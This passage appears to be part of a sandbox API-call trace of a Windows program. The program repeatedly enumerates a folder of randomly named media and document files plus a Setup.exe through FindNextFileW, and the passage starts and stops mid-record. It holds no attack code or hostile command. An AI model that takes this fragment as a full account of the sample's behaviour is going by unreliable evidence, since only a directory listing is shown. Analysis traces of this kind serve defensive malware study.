ftCreationTime.dwHighDateTime=0x1d994da, ftLastAccessTime.dwLowDateTime=0x78dab40, ftLastAccessTime.dwHighDateTime=0x1d99bae, ftLastWriteTime.dwLowDateTime=0x78dab40, ftLastWriteTime.dwHighDateTime=0x1d99bae, nFileSizeHigh=0x0, nFileSizeLow=0x10a21, dwReserved0=0x0, dwReserved1=0x0, cFileName="A_Xuo41AM2 4XZ.gif", cAlternateFileName="A_XUO4~1.GIF")) returned 1 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3946470, ftCreationTime.dwHighDateTime=0x1d98e1b, ftLastAccessTime.dwLowDateTime=0x50ebd330, ftLastAccessTime.dwHighDateTime=0x1d99568, ftLastWriteTime.dwLowDateTime=0x50ebd330, ftLastWriteTime.dwHighDateTime=0x1d99568, nFileSizeHigh=0x0, nFileSizeLow=0x3d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="bnnQ2Y.png", cAlternateFileName="")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f4710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e79240, ftCreationTime.dwHighDateTime=0x1d99856, ftLastAccessTime.dwLowDateTime=0xa6b5230, ftLastAccessTime.dwHighDateTime=0x1d99d8f, ftLastWriteTime.dwLowDateTime=0xa6b5230, ftLastWriteTime.dwHighDateTime=0x1d99d8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E06hTH3VoHA0d", cAlternateFileName="E06HTH~1")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x673cb160, ftCreationTime.dwHighDateTime=0x1d98e7c, ftLastAccessTime.dwLowDateTime=0x68ba6e10, ftLastAccessTime.dwHighDateTime=0x1d999bc, ftLastWriteTime.dwLowDateTime=0x68ba6e10, ftLastWriteTime.dwHighDateTime=0x1d999bc, nFileSizeHigh=0x0, nFileSizeLow=0x17cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EHZ3W0F6Qpam.png", cAlternateFileName="EHZ3W0~1.PNG")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a71e030, ftCreationTime.dwHighDateTime=0x1d9958b, ftLastAccessTime.dwLowDateTime=0x55713e10, ftLastAccessTime.dwHighDateTime=0x1d99746, ftLastWriteTime.dwLowDateTime=0x55713e10, ftLastWriteTime.dwHighDateTime=0x1d99746, nFileSizeHigh=0x0, nFileSizeLow=0xbf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F8EazCx.swf", cAlternateFileName="")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x192bcd0, ftCreationTime.dwHighDateTime=0x1d99b90, ftLastAccessTime.dwLowDateTime=0xe7491e40, ftLastAccessTime.dwHighDateTime=0x1d99d7a, ftLastWriteTime.dwLowDateTime=0xe7491e40, ftLastWriteTime.dwHighDateTime=0x1d99d7a, nFileSizeHigh=0x0, nFileSizeLow=0x1801b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOKmI6.mkv", cAlternateFileName="")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6c45e0, ftCreationTime.dwHighDateTime=0x1d98eb0, ftLastAccessTime.dwLowDateTime=0xa67ea460, ftLastAccessTime.dwHighDateTime=0x1d994b1, ftLastWriteTime.dwLowDateTime=0xa67ea460, ftLastWriteTime.dwHighDateTime=0x1d994b1, nFileSizeHigh=0x0, nFileSizeLow=0x14cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="KcV8WXd6gM.mp3", cAlternateFileName="KCV8WX~1.MP3")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f31a530, ftCreationTime.dwHighDateTime=0x1d99382, ftLastAccessTime.dwLowDateTime=0xf5e6c990, ftLastAccessTime.dwHighDateTime=0x1d99887, ftLastWriteTime.dwLowDateTime=0xf5e6c990, ftLastWriteTime.dwHighDateTime=0x1d99887, nFileSizeHigh=0x0, nFileSizeLow=0x8621, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lf Z_NDA58Jhfm.pdf", cAlternateFileName="LFZ_ND~1.PDF")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f33bd0, ftCreationTime.dwHighDateTime=0x1d9969d, ftLastAccessTime.dwLowDateTime=0xeb706b10, ftLastAccessTime.dwHighDateTime=0x1d99b5c, ftLastWriteTime.dwLowDateTime=0xeb706b10, ftLastWriteTime.dwHighDateTime=0x1d99b5c, nFileSizeHigh=0x0, nFileSizeLow=0xc689, dwReserved0=0x0, dwReserved1=0x0, cFileName="ltMu_vt FZDRo.mp3", cAlternateFileName="LTMU_V~1.MP3")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ffb5160, ftCreationTime.dwHighDateTime=0x1d99989, ftLastAccessTime.dwLowDateTime=0x70d3f4a0, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x70d3f4a0, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0xd910, dwReserved0=0x0, dwReserved1=0x0, cFileName="LW2ZryjL bjcZe.png", cAlternateFileName="LW2ZRY~1.PNG")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5908ed50, ftCreationTime.dwHighDateTime=0x1d98fff, ftLastAccessTime.dwLowDateTime=0x8a140950, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x8a140950, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="M3w-Q0RZrFUkL", cAlternateFileName="M3W-Q0~1")) returned 1 [0161.732] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ff4f900, ftCreationTime.dwHighDateTime=0x1d99072, ftLastAccessTime.dwLowDateTime=0xa55f0b40, ftLastAccessTime.dwHighDateTime=0x1d990da, ftLastWriteTime.dwLowDateTime=0xa55f0b40, ftLastWriteTime.dwHighDateTime=0x1d990da, nFileSizeHigh=0x0, nFileSizeLow=0x10e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="oSEF.xls", cAlternateFileName="")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x958fe540, ftCreationTime.dwHighDateTime=0x1d99ca6, ftLastAccessTime.dwLowDateTime=0xd89f0ff0, ftLastAccessTime.dwHighDateTime=0x1d99d14, ftLastWriteTime.dwLowDateTime=0xd89f0ff0, ftLastWriteTime.dwHighDateTime=0x1d99d14, nFileSizeHigh=0x0, nFileSizeLow=0x184a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QgCLzLkWvWiW.pps", cAlternateFileName="QGCLZL~1.PPS")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2fe690, ftCreationTime.dwHighDateTime=0x1d99ae9, ftLastAccessTime.dwLowDateTime=0xfe783010, ftLastAccessTime.dwHighDateTime=0x1d99d34, ftLastWriteTime.dwLowDateTime=0xfe783010, ftLastWriteTime.dwHighDateTime=0x1d99d34, nFileSizeHigh=0x0, nFileSizeLow=0x2a17, dwReserved0=0x0, dwReserved1=0x0, cFileName="R_v.swf", cAlternateFileName="")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ceff480, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0x7ceff480, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xd6eebb00, ftLastWriteTime.dwHighDateTime=0x1da385b, nFileSizeHigh=0x0, nFileSizeLow=0xc41000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d90be0, ftCreationTime.dwHighDateTime=0x1d98f57, ftLastAccessTime.dwLowDateTime=0x8bb091c0, ftLastAccessTime.dwHighDateTime=0x1d99948, ftLastWriteTime.dwLowDateTime=0x8bb091c0, ftLastWriteTime.dwHighDateTime=0x1d99948, nFileSizeHigh=0x0, nFileSizeLow=0xaf7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="sGHD.mkv", cAlternateFileName="")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16af3770, ftCreationTime.dwHighDateTime=0x1d997ca, ftLastAccessTime.dwLowDateTime=0x8a5f9820, ftLastAccessTime.dwHighDateTime=0x1d99a42, ftLastWriteTime.dwLowDateTime=0x8a5f9820, ftLastWriteTime.dwHighDateTime=0x1d99a42, nFileSizeHigh=0x0, nFileSizeLow=0x9e21, dwReserved0=0x0, dwReserved1=0x0, cFileName="TvcK5iL2grSZw3o4I.swf", cAlternateFileName="TVCK5I~1.SWF")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e014880, ftCreationTime.dwHighDateTime=0x1d99abb, ftLastAccessTime.dwLowDateTime=0xe6ee9c80, ftLastAccessTime.dwHighDateTime=0x1d99c59, ftLastWriteTime.dwLowDateTime=0xe6ee9c80, ftLastWriteTime.dwHighDateTime=0x1d99c59, nFileSizeHigh=0x0, nFileSizeLow=0x108e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="URFiGJb5u RCGpivOCI.rtf", cAlternateFileName="URFIGJ~1.RTF")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63e71d0, ftCreationTime.dwHighDateTime=0x1d99351, ftLastAccessTime.dwLowDateTime=0x305a1d90, ftLastAccessTime.dwHighDateTime=0x1d99435, ftLastWriteTime.dwLowDateTime=0x305a1d90, ftLastWriteTime.dwHighDateTime=0x1d99435, nFileSizeHigh=0x0, nFileSizeLow=0x244b, dwReserved0=0x0, dwReserved1=0x0, cFileName="xqvH7KYn.flv", cAlternateFileName="")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f221b0, ftCreationTime.dwHighDateTime=0x1d99369, ftLastAccessTime.dwLowDateTime=0x95e510d0, ftLastAccessTime.dwHighDateTime=0x1d993f8, ftLastWriteTime.dwLowDateTime=0x95e510d0, ftLastWriteTime.dwHighDateTime=0x1d993f8, nFileSizeHigh=0x0, nFileSizeLow=0xf520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zp3nQJ5eu.m4a", cAlternateFileName="ZP3NQJ~1.M4A")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59f221b0, ftCreationTime.dwHighDateTime=0x1d99369, ftLastAccessTime.dwLowDateTime=0x95e510d0, ftLastAccessTime.dwHighDateTime=0x1d993f8, ftLastWriteTime.dwLowDateTime=0x95e510d0, ftLastWriteTime.dwHighDateTime=0x1d993f8, nFileSizeHigh=0x0, nFileSizeLow=0xf520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zp3nQJ5eu.m4a", cAlternateFileName="ZP3NQJ~1.M4A")) returned 0 [0161.733] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0161.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0161.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x92710560, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0x92710560, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f30c90, ftCreationTime.dwHighDateTime=0x1d998a9, ftLastAccessTime.dwLowDateTime=0xd2bd8960, ftLastAccessTime.dwHighDateTime=0x1d99d58, ftLastWriteTime.dwLowDateTime=0xd2bd8960, ftLastWriteTime.dwHighDateTime=0x1d99d58, nFileSizeHigh=0x0, nFileSizeLow=0x11226, dwReserved0=0x0, dwReserved1=0x0, cFileName="1YKoP8wK6f.flv", cAlternateFileName="1YKOP8~1.FLV")) returned 1 [0161.733] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4063bcf0, ftCreationTime.dwHighDateTime=0x1d998ae, ftLastAccessTime.dwLowDateTime=0x1c4c4d40, ftLastAccessTime.dwHighDateTime=0x1d99cb0, ftLastWriteTime.dwLowDateTime=0x1c4c4d40, ftLastWriteTime.dwHighDateTime=0x1d99cb0, nFileSizeHigh=0x0, nFileSizeLow=0xf571, dwReserved0=0x0, dwReserved1=0x0, cFileName="4XirQCKnN-C5.mp3", cAlternateFileName="4XIRQC~1.MP3")) returned 1 [0161.734] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313935e0, ftCreationTime.dwHighDateTime=0x1d98ff6, ftLastAccessTime.dwLowDateTime=0x8ba90c10, ftLastAccessTime.dwHighDateTime=0x1d99052, ftLastWriteTime.dwLowDateTime=0x8ba90c10, ftLastWriteTime.dwHighDateTime=0x1d99052, nFileSizeHigh=0x0, nFileSizeLow=0xca1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="5wD jaVgryR0UBy6Yy26.gif", cAlternateFileName="5WDJAV~1.GIF")) returned 1 [0161.734] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4363b0, ftCreationTime.dwHighDateTime=0x1d991c6, ftLastAccessTime.dwLowDateTime=0xdff0a4e0, ftLastAccessTime.dwHighDateTime=0x1d99778, ftLastWriteTime.dwLowDateTime=0xdff0a4e0, ftLastWriteTime.dwHighDateTime=0x1d99778, nFileSizeHigh=0x0, nFileSizeLow=0xb2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="6t r wKg.pdf", cAlternateFileName="6TRWKG~1.PDF")) returned 1 [0161.734] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7ed3b0, ftCreationTime.dwHighDateTime=0x1d99ad3, ftLastAccessTime.dwLowDateTime=0xd77caa00, ftLastAccessTime.dwHighDateTime=0x1d99d56, ftLastWriteTime.dwLowDateTime=0xd77caa00, ftLastWriteTime.dwHighDateTime=0x1d99d56, nFileSizeHigh=0x0, nFileSizeLow=0xa98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="8XVK_S420PZyaatG.m4a", cAlternateFileName="8XVK_S~1.M4A")) returned 1 [0161.734] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905a5400, ftCreationTime.dwHighDateTime=0x1d99735, ftLastAccessTime.dwLowDateTime=0x238838b0, ftLastAccessTime.dwHighDateTime=0x1d99c35, ftLastWriteTime.dwLowDateTime=0x238838b0, ftLastWriteTime.dwHighDateTime=0x1d99c35, nFileSizeHigh=0x0, nFileSizeLow=0x8e57, dwReserved0=0x0, dwReserved1=0x0, cFileName="aYGQHCFalP7ms.bmp", cAlternateFileName="AYGQHC~1.BMP")) returned 1 [0161.735] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24c2e0, ftCreationTime.dwHighDateTime=0x1d994da, ftLastAccessTime.dwLowDateTime=0x78dab40, ftLastAccessTime.dwHighDateTime=0x1d99bae, ftLastWriteTime.dwLowDateTime=0x78dab40, ftLastWriteTime.dwHighDateTime=0x1d99bae, nFileSizeHigh=0x0, nFileSizeLow=0x10a21, dwReserved0=0x0, dwReserved1=0x0, cFileName="A_Xuo41AM2 4XZ.gif", cAlternateFileName="A_XUO4~1.GIF")) returned 1 [0161.735] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3946470, ftCreationTime.dwHighDateTime=0x1d98e1b, ftLastAccessTime.dwLowDateTime=0x50ebd330, ftLastAccessTime.dwHighDateTime=0x1d99568, ftLastWriteTime.dwLowDateTime=0x50ebd330, ftLastWriteTime.dwHighDateTime=0x1d99568, nFileSizeHigh=0x0, nFileSizeLow=0x3d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="bnnQ2Y.png", cAlternateFileName="")) returned 1 [0161.735] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f4710, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0161.735] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99e79240, ftCreationTime.dwHighDateTime=0x1d99856, ftLastAccessTime.dwLowDateTime=0xa6b5230, ftLastAccessTime.dwHighDateTime=0x1d99d8f, ftLastWriteTime.dwLowDateTime=0xa6b5230, ftLastWriteTime.dwHighDateTime=0x1d99d8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E06hTH3VoHA0d", cAlternateFileName="E06HTH~1")) returned 1 [0161.735] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x673cb160, ftCreationTime.dwHighDateTime=0x1d98e7c, ftLastAccessTime.dwLowDateTime=0x68ba6e10, ftLastAccessTime.dwHighDateTime=0x1d999bc, ftLastWriteTime.dwLowDateTime=0x68ba6e10, ftLastWriteTime.dwHighDateTime=0x1d999bc, nFileSizeHigh=0x0, nFileSizeLow=0x17cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EHZ3W0F6Qpam.png", cAlternateFileName="EHZ3W0~1.PNG")) returned 1 [0161.735] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a71e030, ftCreationTime.dwHighDateTime=0x1d9958b, ftLastAccessTime.dwLowDateTime=0x55713e10, ftLastAccessTime.dwHighDateTime=0x1d99746, ftLastWriteTime.dwLowDateTime=0x55713e10, ftLastWriteTime.dwHighDateTime=0x1d99746, nFileSizeHigh=0x0, nFileSizeLow=0xbf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F8EazCx.swf", cAlternateFileName="")) returned 1 [0161.736] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x192bcd0, ftCreationTime.dwHighDateTime=0x1d99b90, ftLastAccessTime.dwLowDateTime=0xe7491e40, ftLastAccessTime.dwHighDateTime=0x1d99d7a, ftLastWriteTime.dwLowDateTime=0xe7491e40, ftLastWriteTime.dwHighDateTime=0x1d99d7a, nFileSizeHigh=0x0, nFileSizeLow=0x1801b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOKmI6.mkv", cAlternateFileName="")) returned 1 [0161.736] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6c45e0, ftCreationTime.dwHighDateTime=0x1d98eb0, ftLastAccessTime.dwLowDateTime=0xa67ea460, ftLastAccessTime.dwHighDateTime=0x1d994b1, ftLastWriteTime.dwLowDateTime=0xa67ea460, ftLastWriteTime.dwHighDateTime=0x1d994b1, nFileSizeHigh=0x0, nFileSizeLow=0x14cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="KcV8WXd6gM.mp3", cAlternateFileName="KCV8WX~1.MP3")) returned 1 [0161.736] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f31a530, ftCreationTime.dwHighDateTime=0x1d99382, ftLastAccessTime.dwLowDateTime=0xf5e6c990, ftLastAccessTime.dwHighDateTime=0x1d99887, ftLastWriteTime.dwLowDateTime=0xf5e6c990, ftLastWriteTime.dwHighDateTime=0x1d99887, nFileSizeHigh=0x0, nFileSizeLow=0x8621, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lf Z_NDA58Jhfm.pdf", cAlternateFileName="LFZ_ND~1.PDF")) returned 1 [0161.736] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f33bd0, ftCreationTime.dwHighDateTime=0x1d9969d, ftLastAccessTime.dwLowDateTime=0xeb706b10, ftLastAccessTime.dwHighDateTime=0x1d99b5c, ftLastWriteTime.dwLowDateTime=0xeb706b10, ftLastWriteTime.dwHighDateTime=0x1d99b5c, nFileSizeHigh=0x0, nFileSizeLow=0xc689, dwReserved0=0x0, dwReserved1=0x0, cFileName="ltMu_vt FZDRo.mp3", cAlternateFileName="LTMU_V~1.MP3")) returned 1 [0161.737] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ffb5160, ftCreationTime.dwHighDateTime=0x1d99989, ftLastAccessTime.dwLowDateTime=0x70d3f4a0, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x70d3f4a0, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0xd910, dwReserved0=0x0, dwReserved1=0x0, cFileName="LW2ZryjL bjcZe.png", cAlternateFileName="LW2ZRY~1.PNG")) returned 1 [0161.737] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5908ed50, ftCreationTime.dwHighDateTime=0x1d98fff, ftLastAccessTime.dwLowDateTime=0x8a140950, ftLastAccessTime.dwHighDateTime=0x1d99b78, ftLastWriteTime.dwLowDateTime=0x8a140950, ftLastWriteTime.dwHighDateTime=0x1d99b78, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="M3w-Q0RZrFUkL", cAlternateFileName="M3W-Q0~1")) returned 1 [0161.737] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ff4f900, ftCreationTime.dwHighDateTime=0x1d99072, ftLastAccessTime.dwLowDateTime=0xa55f0b40, ftLastAccessTime.dwHighDateTime=0x1d990da, ftLastWriteTime.dwLowDateTime=0xa55f0b40, ftLastWriteTime.dwHighDateTime=0x1d990da, nFileSizeHigh=0x0, nFileSizeLow=0x10e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="oSEF.xls", cAlternateFileName="")) returned 1 [0161.737] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x958fe540, ftCreationTime.dwHighDateTime=0x1d99ca6, ftLastAccessTime.dwLowDateTime=0xd89f0ff0, ftLastAccessTime.dwHighDateTime=0x1d99d14, ftLastWriteTime.dwLowDateTime=0xd89f0ff0, ftLastWriteTime.dwHighDateTime=0x1d99d14, nFileSizeHigh=0x0, nFileSizeLow=0x184a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="QgCLzLkWvWiW.pps", cAlternateFileName="QGCLZL~1.PPS")) returned 1 [0161.737] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2fe690, ftCreationTime.dwHighDateTime=0x1d99ae9, ftLastAccessTime.dwLowDateTime=0xfe783010, ftLastAccessTime.dwHighDateTime=0x1d99d34, ftLastWriteTime.dwLowDateTime=0xfe783010, ftLastWriteTime.dwHighDateTime=0x1d99d34, nFileSizeHigh=0x0, nFileSizeLow=0x2a17, dwReserved0=0x0, dwReserved1=0x0, cFileName="R_v.swf", cAlternateFileName="")) returned 1 [0161.738] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ceff480, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0x7ceff480, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xd6eebb00, ftLastWriteTime.dwHighDateTime=0x1da385b, nFileSizeHigh=0x0, nFileSizeLow=0xc41000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0161.738] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d90be0, 